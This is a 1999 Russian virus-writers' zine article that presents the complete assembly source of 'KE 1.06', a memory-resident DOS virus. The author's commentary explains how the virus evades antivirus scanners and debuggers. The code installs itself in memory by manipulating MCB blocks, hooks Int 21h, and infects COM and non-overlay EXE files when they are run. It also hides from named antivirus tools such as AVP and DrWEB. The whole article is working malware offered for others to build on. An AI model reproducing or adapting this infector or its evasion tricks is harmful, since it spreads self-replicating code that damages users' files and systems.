[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 009
Вирус KE 1.06
by CrkV
Приветствую всех читателей. В этом номере журнала я бы хотел представить
на ваш суд мою очередную разработку, а именно - мой первый резидентный вирь KE
- (KE.672 1.06). Как видно из нумерации это далеко не первая версия. Но все
по-порядку, изучив вирь Samara.1536, я решил написать свой резидент. И в
течении одного вечера [дата скипнута ;-))] первая версия, которая заражала
только COM-файла - KE.363, - была готова. Для противодействия антивирям я
применил, трик, взятый из моего предыдущего виря - Marina (см. MoonBug N9).
Вообщем, достаточно наложить маску на регистр Ax при вызове Int 21h, и
антивирь теряет потенцию. Для пущей надежности, да и для облома отладчиков,
вызов функций ДОС ведется через Int 3h. Но т.к. на наличие виря в памяти
ругался DrWEB, мне пришлось сделать так, чтобы он замолчал. Просто напросто,
на время его работы, как впрочем и других антивирей, зверек восстанавливает
Int 21h. Кроме того в последующих версиях было введено заражение неоверлейных
EXE-файлов и еще всякие разные фишки, например, отключение адресной линии A20
(см. MoonBug N8).
Да еще, хочу добавить, для тех кто собирается писать резидентники, чтоб
не наступали второй раз на грабли, о которые споткнулся я. Дело в том что в
PSP:02h хранится вершина доступной свободной памяти, и при уменьшении памяти
через 48h - функцию Int 21h, данная ячейка не корректируется, что может
плачевно сказаться на проге. Т.к., например, при инсталляции виря с tlink.exe
(при переданных параметрах), его код (виря) затрется, что в конечном итоге
приведет к краху системы.
Кроме, того в вире используются недокументированные начальные значения
регистров (Dx=PSP и Si=Ip). Поэтому, если они испорчены (другим вирем,
упаковщиком или отладчиком), то... В остальном явных багов я не замечал. Но
если что, мыльте мне на [email protected].
=== Cut ===
;Вирус KE 1.06 [расшифровка скипнута] (c) 1998, 1999 by CrkV
;С днем ... , товарищи ;-)))))
;use tasm ke_106.asm /m2 (для оптимизации)
;WARNING !!! Для компиляции использовать TASM 2.0 - 3.2
Debug EQU 0 ;Для отладки Debug = 1
IF Debug ;обработчик Int 21h
Int21h EQU 21h
Fexec EQU 52FFh ;функция запуска
XB EQU 0 ;1 байт для XOR в Int 21h
XB2 EQU 0 ;2 байт -\\-
BPr EQU 1 ;байт проверки резидента
ELSE
Int21h EQU 03h
Fexec EQU 4B00h ;функция запуска
XB EQU 'K' ;1 байт для XOR в Int 21h
XB2 EQU 'E' ;2 байт -\\-
BPr EQU XB2 ;байт проверки резидента
ENDIF
XW EQU XB Shl 8 + XB2 ;Слово для XOR в Int 21h
.286
.model tiny
.code
Org 100h
KE:
;Начало вирусного кода
EntryPoint:
Size1p EQU $ - Offset EntryPoint
;основная программа
@Start: PushF
PushA
Push Es
Mov Bp,Offset EntryPoint - 100h
SizePrg = Word Ptr $ - 2 - Offset EntryPoint
Mov Ax,5200h + XB
Int 21h
Cmp Al,BPr ;резидент установлен ?
Je @All_Installed
Mov Ax,3521h
Int 21h ;дать адрес Int 21h
Mov Ss:[Bp+Ofs21h],Bx
Mov Ss:[Bp+Seg21h],Es
Sub Di,Di
Push Dx
Pop Es
@Get_Memory:
;--------- Memory Control Block structure --------------
MCB struc
MCB_sig db ? ; 'Z' or 'M'
MCB_owner dw ? ; attribute of owner
MCB_size dw ? ; size of MCB block
MCB_name db 8 dup(?) ; file name of owner
MCB ends
;-------------------------------------------------------
Mov Ah,48h
Mov Bx,ReqMem
Int 21h ;запросить блок памяти
Jnc @Alloc_Mem
Sub Word Ptr Ds:[Di+02h],ReqMem + 1 ;уменьшаем размер памяти в PSP
Dec Dx ;Dx - PSP
Mov Ds,Dx ;MCB блок
Mov Bx,Ds:[Di+03h] ;размер блока
Sub Bx,ReqMem + 1
Mov Ah,4Ah
Int 21h ;уменьшаем размер текущего блока
Jmp @Get_Memory
@Alloc_Mem:
Mov Es,Ax
Dec Ax
Mov Ds,Ax ;MCB полученного блока
Mov Word Ptr Ds:[Di+01h],08h;параграф описываемого блока
Mov Cx,VirLenght - 4
Push Cs
Pop Ds
Lea Si,[Bp+100h]
Cld
Rep MovSB ;копируем вирус в память
Push Es
Pop Ds
Call SetMy21
@All_Installed:
Push Cs
Pop Ds
;закрываем адресную линию A20
Lea Si,[Bp+FirstFl+100h]
Mov Ax,4300h
Int 2Fh
Cmp Al,80h
Jne @No_Himem ;Himem.Sys не загружен
Mov Ax,4310h ;дать адрес
Int 2Fh
;т.к tasm резервирует под смещение слово, оптимизируем код
; Mov Word Ptr Ds:[Si+HmmEnt][0],Bx
Mov Word Ptr Ds:[Si+01h],Bx
Org $ - 1
db HmmEnt
; Mov Word Ptr Ds:[Si+HmmEnt][2],Es
Mov Word Ptr Ds:[Si+01h],Es
Org $ - 1
db HmmEnt + 2
Mov Ah,06h
; Call DWord Ptr Ds:[Si+HmmEnt]
Call DWord Ptr Ds:[Si+01h]
Org $ - 1
db HmmEnt
@No_Himem:
Pop Es
LodSW
Call ProvMZ
Je @Exit_Exe
Mov Di,100h
StoSW
MovSW
PopA
PopF
Push Si ;уходим на начало Com - файла
Ret
@Exit_Exe:
PopA
PopF
Push Dx ;PSP
Pop Ds
Add Dx,1234h
SaveSs = Word Ptr $ - 2 - Offset EntryPoint
Mov Di,1234h
SaveSp = Word Ptr $ - 2 - Offset EntryPoint
Mov Si,1234h
SaveIp = Word Ptr $ - 2 - Offset EntryPoint
Mov Ss,Dx
Mov Sp,Di
;в принципе надо запрещать прерывания и возвращать по IRet
;т.к. область стека может попасть на следующие команды, но ...
Mov Dx,Ds
Add Dx,1234h
SaveCs = Word Ptr $ - 2 - Offset EntryPoint
Push Dx Si
Mov Dx,Ds
Retf
;-------------------------------------------------------
SetMy21 Proc
Mov Dx,Offset New21h
Set21: Mov Ax,2521h
Int 21h ;устанавливаем вектор 21h
Ret
SetMy21 EndP
;-------------------------------------------------------
ProvMZ Proc
Cmp Ax,'MZ'
Je @ExitMZ
Cmp Ax,'ZM'
@ExitMZ:Ret
ProvMZ EndP
;-------------- обработчик Int 24h ---------------------
New24h EQU $ - Offset EntryPoint
Mov Al,03h
IRet
;-------------- обработчик Int 21h ---------------------
New21h EQU $ - Offset EntryPoint
PushF
PushA
Xor Ax,XW
Cmp Ax,(5200h + XB) Xor XW
Jne @Not_Check
PopA
Mov Al,BPr
Jmp @Ex_PopF
@Not_Check:
Cmp Ax,Fexec Xor XW
Jnz @Not_Exec
Call Exec
@Not_Exec:
PopA
@Ex_PopF:
PopF
@Ex_21h:
db 0EAh ;Jmp Far Seg:Ofs
Ofs21h = Word Ptr $ - Offset EntryPoint + 100h
dw ?
Seg21h = Word Ptr $ - Offset EntryPoint + 100h
dw ?
;------------- 2 обработчик Int 21h --------------------
New21h2 EQU $ - Offset EntryPoint
Xor Ax,XW
Jmp @Ex_21h
;-------------------------------------------------------
SetAtr Proc
;устанавливает атрибуты файла
Mov Ax,4301h Xor XW
Int Int21h
Ret
SetAtr EndP
;-------------------------------------------------------
WriteF Proc
;записывает данные в файл Ds:Dx - буфер, Cx - размер
Mov Ah,40h Xor XB
Int Int21h
Ret
WriteF EndP
;-------------------------------------------------------
SetFPE Proc
;устанавливает указатель записи в файл на конец файла
Mov Al,02h Xor XB2
SetFP: Mov Ah,42h Xor XB
Sub Cx,Cx
BC EQU (42h Xor XB) And 80h
IF BC ;Просто напросто обнуляем Dx
Sub Dx,Dx
ELSE
Cwd ;Если старший бит Ax 0 (экономим байт ;)
EndIF
Int Int21h
Ret
SetFPE Endp
;-------------------------------------------------------
Infect Proc
;Si - размер,Di -область для модификации начала
Mov Ax,5700h Xor XW
Int Int21h ;получить время созд.(изм.) файла
Push Cx Dx
Cwd ;Dx=0 (Ax=5700h)
Mov Cx,VirLenght
Call WriteF
Jc @Exit_Infect_Time
Cmp Ax,Cx
Mov Al,00h Xor XB2 ;подготовимся к модификации начала
Je @Write_Ok
Mov Al,02h Xor XB2 ;запишем 0 байт к концу (отрежем вирь),
Sub Si,Si ;т.к. он записан не весь
@Write_Ok:
Call SetFP
Mov Dx,Di
Mov Cx,Si
Call WriteF ;модифицируем начало или обрезаем
@Exit_Infect_Time:
Mov Ax,5701h Xor XW
Pop Dx Cx
Int Int21h ;восстанавливаем время
Ret
Infect Endp
;-------------------------------------------------------
@Exec_Antivir:
LDs Dx,Cs:[Ofs21h-100h] ;восстанавливаем Int 21h
Call Set21 ;который был до нас
Pop Es Ds Ax ;Ax - Ret
PopA ;запускаем антивирь
Call DWord Ptr Cs:[Ofs21h-100h] ;Int 21h Ax=4B00h
PushA
Push Ds Es Cs
Pop Ds
Mov Ax,3521h
Int 21h
Mov Ds:[Ofs21h-100h],Bx ;запоминаем новый Int 21h
Mov Ds:[Seg21h-100h],Es
Call SetMy21 ;снова устанавливаем свой Int 21h
Pop Es Ds
PopA
RetF 02h
;-------------------------------------------------------
Exec Proc
Push Ds Es Ds
Pop Es
Mov Di,Dx
Mov Cx,0FFFFh
Sub Al,Al
Repne ScaSB
Mov Ax,[Di-07h]
And Ax,1101111111011111b
Push Cs
Pop Es
Mov Cx,SizeNI ;проверка на неинфицируемые файлы
Mov Di,Offset OfsNI
Repne ScaSW
Jne @Not_NI
Pop Es Ds
Ret
@Not_NI:
Mov Cx,SizeAV
Mov Di,Offset OfsAV
Repne ScaSW
Je @Exec_Antivir
Mov Ax,3500h + Int21h ;дать адрес обработчика, который
Int 21h ;будет использоваться вместо Int21h
Push Es Bx
Mov Al,24h
Int 21h ;дать адрес обработчика кр.ош. Int 24h
Push Es Bx Ds Dx Cs
Pop Ds
Mov Ah,25h
Mov Dx,Offset New24h
Int 21h ;устанавливаем вектор 24h
Mov Al,Int21h
Mov Dx,Offset New21h2
Int 21h ;устанавливаем вектор для Int 21h
Pop Dx Ds
Mov Ax,4300h Xor XW
Int Int21h ;получить атрибуты файла
Push Cx
Sub Cx,Cx
Call SetAtr ;очищаем атрибуты файла
Jnc @Ok_Atr
; Jc @Error_Atr
Pop Cx
Jmp @Error_Atr
@Ok_Atr:
Mov Ax,3D02h Xor XW
Int Int21h ;открываем файл в режиме (чт./зп.)
Jnc @Ok_Open
; Jc @Error_Open
Jmp @Error_Open
@Ok_Open:
Xchg Bx,Ax ;Ax - Handle файла
Push Ds Dx Cs Cs
Pop Es Ds
Mov Si,Offset FirstFl
Mov Ah,3Fh Xor XB
Mov Cx,1Ah
Mov Dx,Si
Int Int21h ;читаем первые 1Ah байт файла
Cmp Ax,Cx
Je @Ok_Size
; Jne @Exit_Infect ;файл маловат
@Exit_Infect2:
Jmp @Exit_Infect ;файл маловат
@Ok_Size:
LodSW
Call ProvMZ
Je @Exe_Format
Call SetFPE
;не проверяем на запуск испорченных файлов
; Or Dx,Dx ;больше 65535 байт ?
; Jnz @Exit_Infect2 ;большой файл
Cmp Ax,0FC00h - VirLenght
Ja @Exit_Infect2 ;большой файл
Mov Ds:SizePrg,Ax
Xchg Bp,Ax
LodSW
Xor Al,'V' ;возможно инфицирован ?
Cmp Al,Ah
Je @Exit_Infect2
Mov Di,VirLenght
Mov Al,0E9h
StoSB
Lea Ax,[Bp-03h] ;вычисляем смещение вируса в файле
StoSW
Mov Al,Ah
Xor Al,'V'
StoSB
Mov Si,4
Mov Di,VirLenght
Jmp @Infect
@Exe_Format:
;-------------------------------------------------------
Exe_Header STRUC
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo dw ? ; remainder of file size/512
EH_Size dw ? ; file size/512
EH_Reloc dw ? ; Number of relocation items
EH_Size_Header dw ? ; Size of header in paragraphs
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
EH_SS dw ? ; Stack segment displacement
EH_SP dw ? ; Stack Pointer
EH_Checksum dw ? ; Checksum, not used
EH_IP dw ? ; Instruction Pointer of Exe file
EH_CS dw ? ; Code segment displacement of .exe
eh_1st_reloc dw ? ; first relocation item
eh_ovl dw ? ; overlay number
Exe_Header ENDS
;-------------------------------------------------------
;Si - Exe Header + 2
Cmp Byte Ptr [Si+18h],40h ;Windows ? По идеи размер этих файлов
Je @Exit_Infect ;не совпадает с размером в DOS-EXE
;заголовке. Но не всегда... KRNL386.EXE
Mov Ax,[Si]
Xor Ax,XW
Cmp [Si+10h],Ax ;возможно инфицирован ?
Je @Exit_Infect
Call SetFPE
Mov Bp,Ax
Mov Di,Dx
Mov Cx,200h
Div Cx ;Ax - размер файла в 512 байтных кусках
Mov Cx,VLD + 1
Or Dx,Dx
Jz @Equal_512
Inc Ax
Dec Cx
@Equal_512:
Cmp Dx,[Si] ;проверяем оверлейность
Jne @Exit_Infect
Cmp Ax,[Si+02h]
Jne @Exit_Infect
;модифицируем данные о размере программы
LodSW
Add Ax,VLM
Shl Ax,7
Adc Word Ptr [Si],Cx
Shr Ax,7
Mov [Si-02h],Ax
Xor Ax,XW
Mov [Si+0Eh],Ax ;метка вируса
Xchg Ax,Bp
Mov Dx,Di
Mov Cx,10h
Div Cx
Sub Ax,[Si+04h] ;размер заголовка
Mov Di,Ax
Xchg Ax,[Si+12h] ;Cs
Add Ax,Cx
Mov Bp,-100h
Add Bp,Dx
Mov Ds:SizePrg,Bp
Mov Ds:SaveCs,Ax
Xchg Dx,[Si+10h] ;Ip
Mov Ds:SaveIp,Dx
Xchg Di,[Si+0Ah]
Add Di,Cx
Mov Ds:SaveSs,Di ;Ss = Cs
Mov Ax,((VirLenght Shr 1) Shl 1) + 400h
Xchg Ax,[Si+0Ch] ;Sp
Mov Ds:SaveSp,Ax
Mov Si,18h
Mov Di,VirLenght - 4
@Infect:
Call Infect
@Exit_Infect:
Mov Ah,3Eh Xor XB
Int Int21h ;закрываем файл
Pop Dx Ds
@Error_Open:
Pop Cx
Call SetAtr ;восстанавливаем атрибуты
@Error_Atr:
Pop Dx Ds
Mov Ax,2524h Xor XW
Int Int21h ;восстанавливаем вектора прерываний
Pop Dx Ds
Mov Al,Int21h
Int 21h
Pop Es Ds
Ret
Exec EndP
;-------------------------------------------------------
OfsNI EQU $ - Offset EntryPoint ;не заражаем
LineNI db 'NDINST' ;Command,Win,AidsTest
SizeNI EQU ($ - OfsNI - Offset EntryPoint)/2
OfsAV EQU $ - Offset EntryPoint ;антивири
LineAV db 'VPTEEBDX' ;AVP,AVPlite,DrWEB,NAVDX
SizeAV EQU ($ - OfsAV - Offset EntryPoint)/2
;-------------------------------------------------------
FirstFl EQU $ - Offset EntryPoint
db 0C3h
SaveOfs = Word Ptr $ - Offset EntryPoint
dw ?
db ? ;метка вируса
VirLenght EQU $ - Offset EntryPoint
VLM EQU VirLenght Mod 512
VLD EQU VirLenght / 512
;-------------------------------------------------------
HmmEnt = DWord Ptr $ - FirstFl - 100h
db 18h Dup (?)
ReqMem EQU ($ - Offset EntryPoint) Shr 4 + 1
;-------------------------------------------------------
End KE
=== Cut ===